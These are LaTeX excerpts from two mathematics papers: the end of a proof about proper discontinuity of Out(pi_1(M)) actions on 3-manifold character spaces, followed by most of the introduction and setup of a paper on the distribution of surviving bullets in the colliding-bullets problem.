and $h$ induces $\phi$. Therefore, if $\Sigma_i$ is an interval bundle component
of $\Sigma(M)$, then \hbox{$\phi(\pi_1(\Sigma_i))$} is conjugate
to $\pi_1(\Sigma_j)$ where
$\Sigma_j$ is also an interval bundle component of $\Sigma(M)$. Moreover,
if $\Sigma_i$ is not tiny, then $\pi_1(\Sigma_j)$ is also not tiny
(since $h|_{\Sigma_i}:\Sigma_i\to\Sigma_j$ is a homotopy equivalence which
is a homeomorphism on the frontier).
It follows that $V(M)$ is invariant under ${\rm Out}(\pi_1(M))$, completing
the proof of claim (1).
If (2) fails to hold, then there is a compact subset $K$ of $Z(M)$, a compact
subset $C$ of $X(M)$ and a sequence $\{\alpha_n\}$ of elements of $J(M)$
such that
$\{p_\Sigma(\alpha_n)\}$ is a sequence of distinct elements of $G(\Sigma,Fr(\Sigma))$
and $\alpha_n(K)\cap C$ is non-empty for all $n$. If a component $\Sigma_i$ of $\Sigma(M)$
is a tiny interval bundle or a solid torus, then $G(\Sigma_i,Fr(\Sigma_i))$ is finite,
by Lemma \ref{Jstructure}.
So, we may pass to
a subsequence, so that there exists an interval bundle $\Sigma_i$ which is not tiny
such that $\{p_i(\alpha_n)\}$ is a sequence
of distinct elements of $G(\Sigma_i,Fr(\Sigma_i))$. Theorem \ref{PSfacts}
then implies that $\{p_i(\alpha_n)(r_i(K))\}$ leaves every compact subset of $X(\Sigma_i)$.
Therefore, since $r_i(\alpha_n(K))=p_i(\alpha_n)(r_i(K))$ for all $n$,
$\{\alpha_n(K)\}$ leaves every compact subset of $X(M)$. This contradiction
establishes claim (2).
\end{proof}
\subsection{Assembly}
Let $W(M)=V(M)\cap Z(M)$. Since $V(M)$ and $Z(M)$ are open ${\rm Out}(\pi_1(M))$-invariant
neighborhoods of $AH_n(M)$, so is $W(M)$. It remains to prove that ${\rm Out}(\pi_1(M))$
acts properly discontinuously on $W(M)$. Since $J(M)$ is a finite index
subgroup of ${\rm Out}(\pi_1(M))$, it suffices to prove that $J(M)$ acts properly
discontinuously on $W(M)$. We will actually establish the following
stronger fact, which will complete the proof of Theorem \ref{Pdiscnbhd}.
\begin{lemma}
If $K$ is a compact subset of $W(M)$ and $\{\alpha_n\}$ is
a sequence of distinct elements of $J(M)$, then $\{\alpha_n(K)\}$ leaves
every compact subset of $X(M)$.
\end{lemma}
\begin{proof} If our claim fails, then there exists a compact subset
$K$ of $W(M)$, a compact subset $C$ of $X(M)$ and a sequence $\{\alpha_n\}$
of distinct elements of $J(M)$ such that $\alpha_n(K)\cap C$ is non-empty.
We may pass to an infinite subsequence, still called $\{\alpha_n\}$,
such that either $\{p_\Sigma(\alpha_n)\}$ is a sequence of distinct elements or
$\{\rho_\Sigma(\alpha_n)\}$ is constant.
If $\{p_\Sigma(\alpha_n)\}$ is a sequence of distinct elements, Lemma \ref{controlMod}
immediately implies
that $\{\alpha_n(K)\}$ leaves every compact subset of $X(M)$ and we obtain
the desired contradiction.
If $\{\rho_\Sigma(\alpha_n)\}$ is constant, then, by Theorem \ref{Jstructure},
there exists a sequence $\{\beta_n\}$ of distinct elements of $K(M)$
such that $\alpha_n=\alpha_1\circ \beta_n$ for all $n$. Lemma \ref{controlK}
implies that $\{\beta_n(K)\}$ exits every compact subset of $X(M)$. Since
$\alpha_1$ induces a homeomorphism of $X(M)$, it follows that
$\{\alpha_n(K)=\alpha_1(\beta_n(K))\}$ also leaves every compact subset of
$X(M)$. This contradiction completes the proof.
\end{proof}
|
1,477,468,749,992 | arxiv | \section{Introduction}
\subsection{Motivation and models of interest}
\label{sec:motivation}
The colliding bullet problem may be stated as follows: a gun whose position and direction remains fixed shoots bullets, one every second. The speeds of the bullets are random, independent and uniform in $[0,1]$. Upon collision, they both annihilate without affecting the others speeds. The main questions of interest concern the distribution of the number of surviving bullets: if we fire $n$ bullets, what is the probability that $k$ bullets escape to infinity? What is the probability if we fire an infinite number of bullets?
\medskip
The aim of this note is to solve the finite case, as well as some generalizations defined here:
\def \text{\textsc{ru}}{\text{\textsc{ru}}}
\begin{model}\label{def:mA}
{-- \sc Colliding bullets with random speeds and unit delays:}
$n$ bullets are fired at times $1, 2, \cdots, n $; the respective speeds of the bullet are i.i.d.\ random variables $v_1,\cdots,v_n$ taken under a distribution $\mu$ with support in $[0,+\infty)$ having no atom. Denote by
\begin{eqnarray}
\mathbf P^{\text{\textsc{ru}}}_{n}:=\mathbf P^{\text{\textsc{ru}}}_{n,\mu}=(P_{n}^{\text{\textsc{ru}}}(k),0\leq k \leq n)
\end{eqnarray}
the distribution of the number of surviving bullets.
\end{model}
\def \text{\textsc{rr}}{\text{\textsc{rr}}}
\begin{model}\label{def:mB}
{-- \sc Colliding bullets with random speeds and random delays:}
$n$ bullets are fired; the respective speeds of the bullets are i.i.d.\ random variables $v_1,\cdots,v_n$ with common distribution $\mu$ with support in $(0,+\infty)$ having no atom. The $i$th bullet is shot at time $T_j=\sum_{k=1}^{j-1} \Delta_k$ where $(\Delta_1,\cdots,\Delta_{n-1})$, the inter-bullet delays, are i.i.d.\ positive random variables (and independent of the speeds) taken under a distribution $\nu$ having no atom at $0$.
Denote by
\begin{eqnarray}
\mathbf P^{\text{\textsc{rr}}}_{n}:=\mathbf P^{\text{\textsc{rr}}}_{n,\mu,\nu}=(P_{n}^{\text{\textsc{rr}}}(k),0\leq k \leq n)
\end{eqnarray}
the distribution of the number of surviving bullets.
\end{model}
\def \text{\textsc{ff}}{\text{\textsc{ff}}}
\begin{model}\label{def:mC}
{-- \sc Colliding bullets with fixed speeds, and fixed delays:}
Choose a vector of $n$ distinct speeds $\mathbf V:=(V_1,\cdots,V_n)\in[0,+\infty)^n$ and $n-1$ inter-bullet delays ${\boldsymbol\Delta}:=(\Delta_1,\cdots,\Delta_{n-1})$, some positive numbers. Let $\sigma$ and $\tau$ be independent uniform random permutations on $\mathfrak S_n$ and $\mathfrak S_{n-1}$, respectively. The $i$th bullet has speed $V_{\sigma_i}$ and is shot at time $T^{\tau}_i= \Delta_{\tau_1}+\cdots+\Delta_{\tau_{i-1}}$ (so that $T^{\tau}_1=0$, and the increments of the sequence $(T_i^\tau,1\leq i \leq n)$ are the $\Delta{\tau_j}$). Assume moreover that for any $(\sigma,\tau)$, $\left[\left(V_{\sigma_i},1\leq i \leq n\right),\left(T^{\tau}_i,1\leq i \leq n\right)\right]$ is generic in the following sense: if we consider that collisions have no effect, there are no pairs $(\sigma,\tau)$, no times, at which three bullets, are exactly at the same place (see formal Definition \ref{def:gene}). Denote by
\begin{eqnarray}
\mathbf P^{\text{\textsc{ff}}}_n=\mathbf P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}:=\left(P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}(k),0\leq k \leq n\right)
\end{eqnarray}
the distribution of the number of surviving bullets.
\end{model}
The version of the problem in Model~\ref{def:mC} makes an important link with combinatorics that will be crucial to our approach (see the remark following Theorem~\ref{theo:main} for details).
\def \text{\textsc{faf}}{\text{\textsc{faf}}}
\begin{model}\label{def:mD}
{-- \sc Colliding bullets with fixed acceleration functions, and fixed delays:} Fix a continuous increasing function $f:\mathbb{R}^+\to \mathbb{R}^+$ such that $f(0)=0$. Choose an \emph{impetus} vector of $n$ distinct elements ${\bf I}:=(I_1,\cdots,I_n)\in[0,+\infty)^n$ and $n-1$ inter-bullet delays ${\boldsymbol\Delta}:=(\Delta_1,\cdots,\Delta_{n-1})$, some positive numbers. Let $\sigma$ and $\tau$ be independent uniform random permutations on $\mathfrak S_n$ and $\mathfrak S_{n-1}$, respectively. For the same convention as in the previous model, the $i$th bullet is shot at time
$T^{\tau}_i= \Delta{\tau_1}+\cdots+\Delta{\tau_{i-1}}.$ The speed of the bullet is not constant (in general): the distance between $i$ bullet and the origin at time $t\geq T^{\tau}_i$ is
\[D_t(i)= f( I_{\sigma_i} (t- T^{\tau}_i)).\]
Hence, when it exists, the speed at time $t$ of the $i$th shot bullet is $I_{\sigma_i} f'( I_{\sigma_i} (t- T^{\tau}_i))$ so that for $f(x)=x$ we recover the preceding bullet problem (for $\mathbf V={\bf I}$). For $f(x)=x^2$ we have accelerating bullets with ``constant'' acceleration $2I_{\sigma_i}^2$, for $f(x)=\sqrt{x}$ the asymptotic speed is zero, for $f(x)= 1-\exp(-x)$ the bullets slow down and converge in time $+\infty$ to 1. Assume again genericity in the sense explained in the previous problem. Denote by
\begin{eqnarray}
\mathbf P^{\text{\textsc{faf}}}_n=\mathbf P^{\text{\textsc{faf}},f}_{{\bf I},{\boldsymbol\Delta}}:=\left(P^{\text{\textsc{faf}}}_{{\bf I},{\boldsymbol\Delta}}(k),0\leq k \leq n\right)
\end{eqnarray}
the distribution of the number of surviving bullets.
\end{model}
\subsection{Main results and discussion}
\label{sec:results}
For every $n\ge 0$, let $\mathbf q_n$ be the probability distribution that is uniquely characterized by the following recurrence relation and initial conditions:
\begin{eqnarray}\label{eq:q01}
q_1(1)=1, \qquad q_1(1)=0, \qquad q_0(0)=1,
\end{eqnarray}
and for $N\geq 2$, for any $0\leq k \leq N$,
\begin{eqnarray}\label{eq:q02}
q_{N}(k)=\frac{1}{N}q_{N-1}(k-1)+\left(1-\frac1N\right)q_{N-2}(k)
\end{eqnarray}
with $q_n(-1)=q_n(k)=0$ if $k>n\geq 0$.
In other words, $\mathbf q_N$ is the distribution of $X_N$, where $(X_n,n\geq 0)$ is a simple Markov chain with memory 2 defined by $X_0=0$, for $n\geq 1$,
\begin{eqnarray}\label{eq:law_Xn}
X_n &\sur{=}{(d)}& B_{1/n}(1+X_{n-1})+(1-B_{1/n}) X_{n-2}
\end{eqnarray}
where $(B_{1/n},n\geq 1)$ is a sequence of independent Bernoulli random variables with respective parameters $1/n$, $n\ge 1$. \medskip
We are now ready to state our main result:
\begin{theo}\label{theo:main} We have, for any $n\geq 0$,
\[\mathbf P_n^\text{\textsc{ru}}=\mathbf P_n^\text{\textsc{rr}}=\mathbf P_n^\text{\textsc{ff}}=\mathbf P_n^\text{\textsc{faf}}=\mathbf q_n.\]
\end{theo}
\begin{rem} (a) Theorem \ref{theo:main} in particular states that the distribution of the number of surviving bullets is independent of $(\mathbf V,{\boldsymbol\Delta})$, provided that the colliding bullets problem is well-defined (the probability of a triple collision is zero). One could wonder if this is just the consequence of a much stronger result that would say that the law of the \emph{set of surviving bullets} is independent of $(\mathbf V,{\boldsymbol\Delta})$. Exhaustive enumeration all the configurations for examples with few bullets show that the stronger statement is false. \par
(b) As we already mentioned, our analysis will principally rely on the study of ``the permutation model'' $\mathbf P_n^\text{\textsc{ff}}$ for which the pair speeds-delays $(\mathbf V,{\boldsymbol\Delta})$ is fixed, but uniformly and independently permuted. When $(\mathbf V,{\boldsymbol\Delta})$ is fixed (and generic), the distribution $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}$ has a combinatorial flavour: the probability that $k$ bullets survive is proportional to the number of permutations $(\sigma,\tau)$ for which this property holds. However, since the distribution of the ``identities'' of the surviving bullets is not the same in general for two different pairs $(\mathbf V',{\boldsymbol\Delta}')$ and $(\mathbf V,{\boldsymbol\Delta})$, the proof of Theorem~\ref{theo:main} cannot rely only on the specifics of the permutations $(\sigma,\tau)$ and must take into account the pair speeds-delays. Our key result is the proof that the map $(\mathbf V,{\boldsymbol\Delta})\to \mathbf P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}$ is constant in the set of generic elements.
When one reduces a speed, for example $V_{1}$, the distribution of the set of configurations dramatically changes, and some avalanches of consequences arise (this has somehow the flavour of the \emph{jeu de taquin} used in the Robinston--Schensted correspondence). For some choices of $(\sigma,\tau)$, when one replaces $V_{1}$ by $V_{1}'=V_{1}-`e$, a bullet $A$ which was surviving now collides with another one, say bullet $B$; bullet $B$ which used to collide with bullet $C$, is now destroyed by bullet $D$, etc... The paper is principally devoted to the recursive control of these avalanches of combinatorial modifications that comes from the reduction of a speed.
\end{rem}
The simple form of the recurrence relation for $\mathbf q_n$ also allows us to derive asymptotics for the number of surviving particles as $n$ tends to infinity. The proof relies on a connection between $\mathbf q_n$ and cycles in random permutations that we present in Section~\ref{sec:alt_models}, and we shall present the proof at that point. In the following $\mathcal N(0,1)$ denotes a centered Gaussian random variable with unit variance.
\begin{pro}\label{pro:limit_dist} For $X_n\sim \mathbf q_n$, we have the following convergence in distribution
\[\frac{X_n-\frac 1 2 \log(n)}{\sqrt{\frac 1 2\log(n)}}\xrightarrow[n\to\infty]{(d)} {\cal N}(0,1).\]
\end{pro}
\subsection{Discussion}
\label{sec:discussion}
Our aim was initially to attack the infinite version, which has been attributed to David Wilson. One quickly realizes that estimates for the probability that all the bullets shot from some time interval vanish (and of related events) should be rather useful when trying to cook up a Borel--Cantelli type argument. This led us to investigate the finite version. In \cite{ibm2014a}, the readers where asked to compute numerically the probability that 20 bullets all annihilate when the speeds are uniform. Apparently motivated by this question, the finite version of the colliding bullets problem arose in a number of online forums (see \cite{stack,stack2}, for instance). There, the distribution of the number of surviving bullets is \emph{claimed} to be $\mathbf q_n$, and a number of people discuss justifications. However, we were unable to understand the arguments that are claimed to be proofs; this led us develop our own solution (which in the end, seems to be the only rigorous one; see later).
Our proof of Theorem~\ref{theo:main} is rather involved, despite the simplicity of the form of the distributions $\mathbf q_n$. Together with the fact that $\mathbf q_n$ also appears in a number of simpler models that we present in Section~\ref{sec:alt_models}, this may lead the reader to think that there should exist a much shorter and efficient proof. It is possible. Nevertheless, here are some facts that explain why some of the intricate considerations we go through here should be present in any proof:
\begin{itemize}
\item \emph{Biased permutations in conditional spaces.} First, consider Model \text{\textsc{ru}}. With probability $1/n$ the slowest bullet is fired last and, similarly, also with probability $1/n$ the fastest is fired the first. If one or both of these events occur then the corresponding bullet(s) survive(s). Furthermore, the delays between the remaining bullets are unchanged and all equal to 1. So by exchangeability, the problem reduces to a problem of the same type, and with smaller size. However, if none of these events occur, any decomposition appears to be much more involved: for example, if it is fired after $i-1$ others, for some $i<n$, the slowest bullet may survive or not. When one searches to condition on the survival or destruction of the slowest bullet survival (or of any other bullet), one quickly realises that the permutation of speeds of the remaining bullets is biased. In the case of eventual survival, the bullets shot after it must collide pairwise, and their space-time diagram must not cross that of the slowest bullet. This creates a bias that looks difficult to handle.
\item \emph{Non constant delays.} Even worse, in the case of eventual destruction, even if for some reason, (a) the distribution of the speed that collides with it was known, and (b) no other collision occurs first, then after the collision, the delays between the bullets are no more constant; even if we rewind time back to zero, one of the delays is now 3.
\item \emph{Random delays?} The previous considerations lead us to study Model \text{\textsc{rr}}, since in any decomposition, the removal of any bullets, will make the delay between the bullets become non constant. However, one also quickly realizes that the distribution of the delay between shots has all the chances to be modified by the removal of two bullets; and the exchangeability might be ruined.
\item \emph{Fixed distinct delays must be permuted. }Overall, one is lead to consider a sequence of arbitrary delays between the shots.
But some computer experiments show that if we replace the unit inter delays $1,\cdots, 1$ by some deterministic positive and distinct real numbers $\delta_1,\cdots,\delta_{k-1}$, then the distribution of the number of surviving bullets when the bullet speeds are uniformly permuted is not constant and depends on the vector $(\delta_i,1\leq i \leq k-1)$. What appears to be true however (and this is verified by our analysis), is that if one permutes \emph{both} the bullet speeds and the delays, independently, then the distribution of the surviving bullets appears to be the same and given again by $\mathbf q_n$. Hence, Model~\text{\textsc{ff}}~does not appear only as a generalization of Model \text{\textsc{ru}}, but indeed, as a tool to analyze it.
\end{itemize}
Therefore, when studying the quenched Model~\text{\textsc{ff}}, one of the important points is to guarantee that at every level of the induction, the permutations of both the speeds and of the delays are equally likely and independent, which takes us back to the first point.
When discussing our findings with colleagues, we heard from Vladas Sidoravicius that Fedja Nazarov had an unpublished proof of the fact that, for every $n\ge 1$, one has $q_{2n}(0) = \prod_{i=1}^n (1-\frac 1 {2i})$; this is also stated in \cite{DyJuKiRa2016a}, but the proof is not reproduced there. So, to the best of our knowledge, our proof of Theorem~\ref{theo:main} is the first rigorous treatment of the distribution of the number of surviving bullets in the finite bullets colliding problem.
\subsection{Simpler natural models following the same distribution}
\label{sec:alt_models}
We present here four other models in which the probability distributions $\mathbf q_n$, $n\ge 1$, play a special role. We have found the first two discussed in a forum about the bullet problem, but we could not find anything that could be considered remotely close to a proof that the colliding bullets problem is indeed equivalent to these models: it seems that some of the users have noticed that the distribution is the same, by a mixture of simulations, exhaustive enumeration, but also what seems to be wrong proofs from the level of details that were provided. In any case, from what we could see, it seems that none of the pitfalls that we have mentioned at the end of the previous section has been dealt with correctly (\cite{stack},\cite{stack2}).
\def 5{5}
\begin{model}
{-- \sc Sorted bullet flock.} Let $\mu$ be a probability distribution on $(-\infty,+\infty)$ without atoms; $n$ bullets with i.i.d.\ speeds $v_1,\cdots,v_n$ with common distribution $\mu$ are fired at times $1,\cdots, n$. At time 0, the set of living bullet is $L_0=\varnothing$. The $i$th bullet is fired at time $i$ and:
\begin{itemize}
\item if $v_i\leq \min(L_{i-1})$ then $L_{i}:=L_{i-1}\cup \{v_i\}$;
\item if $v_i> \min(L_{i-1})$, $L_i=L_{i-1}\setminus \{\min(L_{i-1})\}$.
\end{itemize}
In other words, if bullet $i$ is faster than one of the surviving bullets, it collides instantaneously with the slowest, and both of them disappear. Otherwise bullet $i$ is the slowest, and it is added to the list of surviving bullets.
Denote by $\mathbf P_n^{(5)}$ the distribution of the number of bullets in the flock at time $n$.
\end{model}
\def 6{6}
\begin{model}
{-- \sc Odd cycles in random permutations.} Let ${\bf s}$ be a permutation chosen uniformly at random in the symmetric group ${\cal S}_n$, and let $Z_n$ be the number of cycles with odd length in the cycle representation of ${\bf s}$. Denote by $\mathbf P_n^{(6)}$ the distribution of $Z_n$.
\end{model}
Another model we may imagine (not present on the forums) is the next one:
\def 7{7}
\begin{model}
{-- \sc Recursive extremes in random matrices.} Let $\mu$ be a probability distribution on $(-\infty,\infty)$ that has no atom. Let $M=(M_{i,j})_{1\leq i,j \leq n}$ be a matrix composed of random i.i.d.\ entries with distribution $\mu$. Consider now the following algorithm that iteratively removes lines and columns in $M$:\\
While $M$ is not empty, do the following:
\begin{compactitem}
\item let $(i^\star,j^\star)=\argmin(M)$ be the position of the entry with minimum value;
\item remove the lines and columns $i^\star$ and $j^\star$ in $M$.
\end{compactitem}
Let $\mathbf P^{(7)}_n$ be the distribution of the number of rounds in which $i^\star=j^\star$.
\end{model}
Finally, we introduce the following that ensures a monotone coupling of the marginals at different values of $n$ (it is used in Proposition~\ref{pro:recurrence}):
\def 8{8}
\begin{model}{-- \sc Two-step directed tree on $\mathbb N$.} Let $(B_n, n\ge 1)$ be a sequence of independent Bernoulli random variables with parameters $1/n$. For each $n\ge 1$, if $B_{n}=1$ add the red directed edge $(n,n-1)$, and if $B_n=0$, add the black directed edge $(n,n-2)$. Then, for each node of $\mathbb N$, there is a unique directed edge out, and as a consequence a unique directed path to the node $0$, which is the unique sink of the infinite digraph. For $n\ge 1$, let $\mathbf P^{(8)}_n$ be the distribution of the number of red edges on the unique path between $n$ and $0$.
\end{model}
All four models above also follow the exact same distribution $\mathbf q_n$ defined on page~\pageref{eq:q01}:
\begin{theo}\label{theo:other}For any $\ell\in\{5,6, 7, 8\}$, any $n\geq 0$
\[{\bf P}_n^{(\ell)}=\mathbf q_n.\]
\end{theo}
The proofs of the four different cases of Theorem~\ref{theo:other} are all straightforward, and presented in Section~\ref{sec:pf_other}. This contrasts with all bullet-related models of Section~\ref{sec:motivation} for which the proof is fairly intricate.
\subsection{Remarks about the case with infinitely many bullets}
Let $\mu$ be a probability distribution on $[0,\infty)$. Let $(V_i,i\geq 0)$ be a sequence of i.i.d.\ speeds with common distribution $\mu$, and consider the corresponding colliding problem with infinitely many bullets: for each integer $i\ge 0$ a bullet is fired at time $i$, that has speed $V_i$. Let ${\cal S}_\infty$ denote the set of indices of the bullets that survive forever (provided it is well-defined, see later on). Consider now the sequence of colliding problems where only the first $n$ bullets are shot, with speeds $V_1,V_2,\dots, V_{n}$; let ${\cal S}_n$ denote the collection of indices of the surviving bullets.
Theorem~\ref{theo:main} implies that, as $n\to\infty$, the number of surviving bullets $|{\cal S}_n|\to \infty$ in probability, whatever the common distribution $\mu$ of the speeds, provided that it has no atom.
Of course, without any additional element, this does not rule out the possibility that $|{\cal S}_n|$ may vanish infinitely often. In other words, unsurprisingly, the knowledge of the marginal distributions $(\mathbf q_n)_{n\ge 1}$ alone does not allow to conclude about the eventual survival of some bullet.
Actually, among the models we have presented in Section~\ref{sec:alt_models}, which all have $\mathbf q_n$ as marginals, some vanish infinitely often, while others tend to infinity almost surely:
\begin{pro}\label{pro:recurrence}
Let $(F_n)_{n\ge 1}$ denote the sequence of sizes in the bullet flock model, and let $(D_n)_{n\ge 1}$ denote the sequence of red distances to $0$ in the two-step tree model. Then, with probability one,
\begin{compactenum}[(i)]
\item $F_n = 0$ infinitely often, and
\item $D_n \to \infty$; in particular, $D_n =0$ only finitely often.
\end{compactenum}
\end{pro}
We do not know what happens for the original colliding bullets problem, but at the very least, the sequence $(|{\cal S}_n|)_{n\ge 0}$ exhibits fluctuations that are quite complex. In particular, the fact that $|{\cal S}_n|=0$ does not imply that no bullet from the set $\{1,2,\dots, n\}$ survives forever! Indeed, when bullet $n+1$ is shot, there are three possibilities: it may
\begin{itemize}
\item be slow enough to avoid all the trajectories of the bullets in $\{1,2,\dots, n\}$, in which case there is one additional surviving bullet,
\item hit one of the surviving bullets, which would cause the set surviving bullets to loose one of its elements,
\item hit some bullet $i\in \{1,\dots, n\}$ that, if not hit, would collide with one of the bullets in $\{1,\dots, i-1\}$, say bullet $j$; the first effect is to release bullet $j$, which may inductively give rise to the same three possibilities.
\end{itemize}
This shows that, for any $n\ge 0$, we have $|{\cal S}_{n+1}|-|{\cal S}_{n}| \in \{+1,-1\}$, but also that the fluctuations of the sequence $(|{\cal S}_n|)_{n\ge 0}$ are quite complex (see Figure~\ref{fig:dqd} for a simulation), and that the set ${\cal S}_n$ can dramatically change from one step to another. Even showing that if $|{\cal S}_n|=0$ infinitely often then every bullet is eventually destroyed does not seem straightforward. We will leave the question hanging, since we are concerned here with the combinatorics case with only finitely many bullets.
\begin{figure}[tbp]
\centerline{\includegraphics[scale=0.5]{progression50000.pdf}}
\caption{\label{fig:dqd}A simulation of evolution of the number of surviving bullets $(|{\cal S}_j|,1\leq j \leq n)$ for $n=50000$. }
\end{figure}
Let us just observe that when an infinite number of bullets are shot, the events
\[\{\textrm{ bullet }i \textrm{ survives }\}
\qquad \text{and} \qquad
\{~ \exists\, i, \textrm{ bullet }i \textrm{ survives }\}\]
are measurable. Indeed, a bullet does not survive forever if it is hit before time $m$ for some $m\in \mathbb{N}$; on the other hand, since the speeds are non-negative, the fact that bullet $i\le m$ is hit before time $m$ only depends on the bullets shot before time $m$ (see also Section~\ref{sec:yiluyi}).
Finally, let us mention that \citet*{DyJuKiRa2016a} have recently proved that in the case where the law of the speeds is concentrated on a finite set in $(0,\infty)$, (1) if the first bullet has the second fastest speed then it survives with positive probability (the fastest speed would be obvious), and (2) if it has the slowest speed then it is eventually destroyed with probability one. \citet{SiTo2016a} also have related results. These two papers also contain interesting discussions of the relevant connections with in probability and physics literature.
To the best of our knowledge, the results in \cite{DyJuKiRa2016a} and \cite{SiTo2016a} are the only non-trivial results on the infinite model that has been proved rigorously.
\begin{rem}Let us mention that the colliding bullet problem has already appeared in the physics literature under the name ``ballistic annihilation''. There compared to the present model, the roles of times and space are exchanged: one sees the bullets as the particles in some gas model; the particles move with constant (random) speeds, initially from from different points in space, and the main question is to infer the evolution in the density of particles as times evolves. For more details, see for instance \cite{ElFr1985a,BeRe1993a,KrReLe1995a,BeFe1995a,DrReFrPi1995a,Piasecki1995a,ErToWe1998a,KrSi2001a,Trizac2002b,Trizac2002a}.
\end{rem}
\subsection{Structure of the proof and plan of the paper}
\label{sub:sketch_of_the_approach_and_plan_of_the_paper}
A moment thought suffices to see that among Models 1--3 of Section~\ref{sec:motivation}, Model~3 with the fixed parameter $(\mathbf V,{\boldsymbol\Delta})$ is the most general; the two others are just annealed versions and the corresponding distributions is obtained by integration. Model~4, with the fixed acceleration function, is actually more general but it may be reduced to Model~3 via coupling and a simple transformation (see Proposition~\ref{pro:auxiliary_models} for details). So from now on, we focus on $\mathbf P_{\mathbf V,{\boldsymbol\Delta}}^{\text{\textsc{ff}}}$.
Again, the naive induction -- the one relying on the elimination of the slowest or fastest bullet -- fails in general as we have pointed out it Section~\ref{sec:discussion} because one cannot guarantee that a specific bullet collides. There is however a situation in which one can identify a bullet that must either collide or survive: it is when the minimal speed is zero; indeed, in this case, the bullet with minimal speed remains in the barrel so it does survive if it is shot last, and does collide with the next one otherwise. As a consequence, if the minimal speed is null, then there is a simple \emph{one-step reduction} to cases with one or two bullets less. Unfortunately, this trick only works once (at most one speed is zero). But one may try to show that lowering the minimal speed does not alter the distribution of the number of surviving bullets, then one could iteratively bring the minimal speed to zero and thus write down a complete recurrence relation.
We will show that one can indeed alter the parameter $(\mathbf V,{\boldsymbol\Delta})$ without changing the distribution of the number of surviving bullets; this will \emph{a posteriori} justify writing $\mathbf P^{\text{\textsc{ff}}}_n$ in place of $\mathbf P_{\mathbf V,{\boldsymbol\Delta}}^{\text{\textsc{ff}}}$. Granted the independence of $\mathbf P_{\mathbf V,{\boldsymbol\Delta}}^{\text{\textsc{ff}}}$ from $(\mathbf V,{\boldsymbol\Delta})$, it is fairly easy to rigorously devise a recurrence relation for the distribution $\mathbf P_{n}^{\text{\textsc{ff}}}$ and identify it as $\mathbf q_n$, thereby proving Theorem~\ref{theo:main}. We carry on the details in Section~\ref{sub:from_independence_to_the_identification_of_the_law}.
The heart of the argument then consists in justifying the independence of $\mathbf P_{\mathbf V,{\boldsymbol\Delta}}^{\text{\textsc{ff}}}$ with respect to $(\mathbf V,{\boldsymbol\Delta})$. For many values of the parameter $(\mathbf V,{\boldsymbol\Delta})$ that we call \emph{generic}, one can indeed slightly lower the minimal speed without affecting the distribution of the number of surviving bullets, for the simple reason that none of the configurations are affected; this is formalized in Lemma~\ref{lem:TCS_open} and relies on a simple topological property. In general however, it is not possible to take the minimal speed to zero without altering any of the configurations. While lowering the minimal speed, one may encounter certain \emph{non-generic} or \emph{singular} values of the parameter $(\mathbf V,{\boldsymbol\Delta})$ for which there exist collisions involving more than two bullets. For such a value of the parameter the colliding bullets problem is not well-defined if we consider that bullets only annihilate pairwise. These are values of the parameter at which (at least for some configurations) the pairs of annihilating bullets are modified. Still, in some small neighborhoods of $(\mathbf V,{\boldsymbol\Delta})$, the distribution $\mathbf P_{\mathbf V,{\boldsymbol\Delta}}^{\text{\textsc{ff}}}$ is well-defined and remains constant\footnote{To be precise: the set of generic points restricted to the neighborhood of a singular point is not connected, but $\mathbf P_{\mathbf V,{\boldsymbol\Delta}}^{\text{\textsc{ff}}}$ is constant on every connected component, and the values all agree.}; because there is no clear one-to-one correspondence between the configurations of these neighborhoods, this invariance necessarily involves a priori intricate averaging.
The whole argument then reduces to showing that the distribution $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}$ remains constant when ``crossing'' the non-generic values of the parameter; this is the corner stone of the argument. In order to prove this, we first show that it is ``essentially'' sufficient to consider what happens at the values of the parameter that involve at most triple collisions; these singular values are called \emph{simple}; the formal definition (Definition~\ref{def:simple_singular}) is slightly more restrictive, but this is the idea, and we do not want to blur the big picture at this point. This amounts to showing that it is possible to slightly alter the parameter, without changing the distribution of surviving bullets, in such a way that only simple singular points are encountered when eventually reducing the minimal speed to zero (Lemma~\ref{lem:essentia_generic}). In order to treat the effect of ``crossing'' a simple singular value of the parameter, we proceed by introducing two new combinatorial colliding bullets models with general constraints and by comparing them through an induction argument in Section~\ref{sec:restrictions}.
Turning the sketch we have just presented into a rigorous proof requires to set up a number of geometric representations and formal definitions; these preliminary results are presented in Section~\ref{sec:first_considerations}.
\section{Notation, preliminaries and geometric considerations}
\label{sec:first_considerations}
\subsection{The virtual space-time diagram}
In this section, we \emph{ignore the effects of collisions} and consider trajectories and events that are only \emph{virtual}. From now on, for $i\ge 1$, we denote by ``bullet $i$'', the $i$th shot bullet, and we assume that the $n$ bullets are shot at some times $t_1<\cdots < t_n$ with respective non-negative speeds $v_1,\cdots,v_n$. If it is in the air at time $t\in \mathbb{R}$, bullet $i$ lies at a distance to the starting point $x=0$ that is given by
\[{\sf Y}_i(t)=v_i(t-t_i).\]
So, ignoring the collisions, each bullet has a \emph{virtual trajectory}; for bullet $i$, it is given by the half-line
\begin{equation}\label{eq:bHL}
\overline {\sf HL}\left(v_i,t_i\right):=\{(t,{\sf Y}_i(t)), t\geq t_i\}.
\end{equation}
Two bullets $i\ne j$ may only collide at time (which may be positive or negative)
\begin{eqnarray}\label{eq:ff}
T(i,j)=\frac{v_it_i-v_jt_j}{v_i-v_j},
\end{eqnarray}
the time at which the lines ${\sf L}\left(v_i,t_i\right)$ and ${\sf L}\left(v_j,t_j\right)$ supporting respectively $\overline {\sf HL}\left(v_i,t_i\right)$ and $\overline {\sf HL}\left(v_j,t_j\right)$ intersect.
\begin{figure}[tbp]
\centering
\includegraphics[width=7.5cm]{virtual_space-time.pdf}
\hspace{.5cm}
\includegraphics[width=7.5cm]{space-time.pdf}
\caption{\label{fig:space-time}On the left, some instance of a virtual space-time diagram for seven bullets; on the right, the corresponding space-time diagram in solid lines (the virtual space-time diagram is still shown in light dashed lines). The red disks represent the collisions; the collision times are then the first coordinates of the red disks. The 5th bullet survives.}
\end{figure}
We define the \emph{virtual collision time} between bullet $i$ and bullet $j$ by
\begin{eqnarray}\label{eq:CT}
{\sf CT}(i,j)= \left\{
\begin{array}{ccl}
T(i,j) & \textrm{~if~} & T(i,j)\geq \max\{t_i,t_j\}, \\
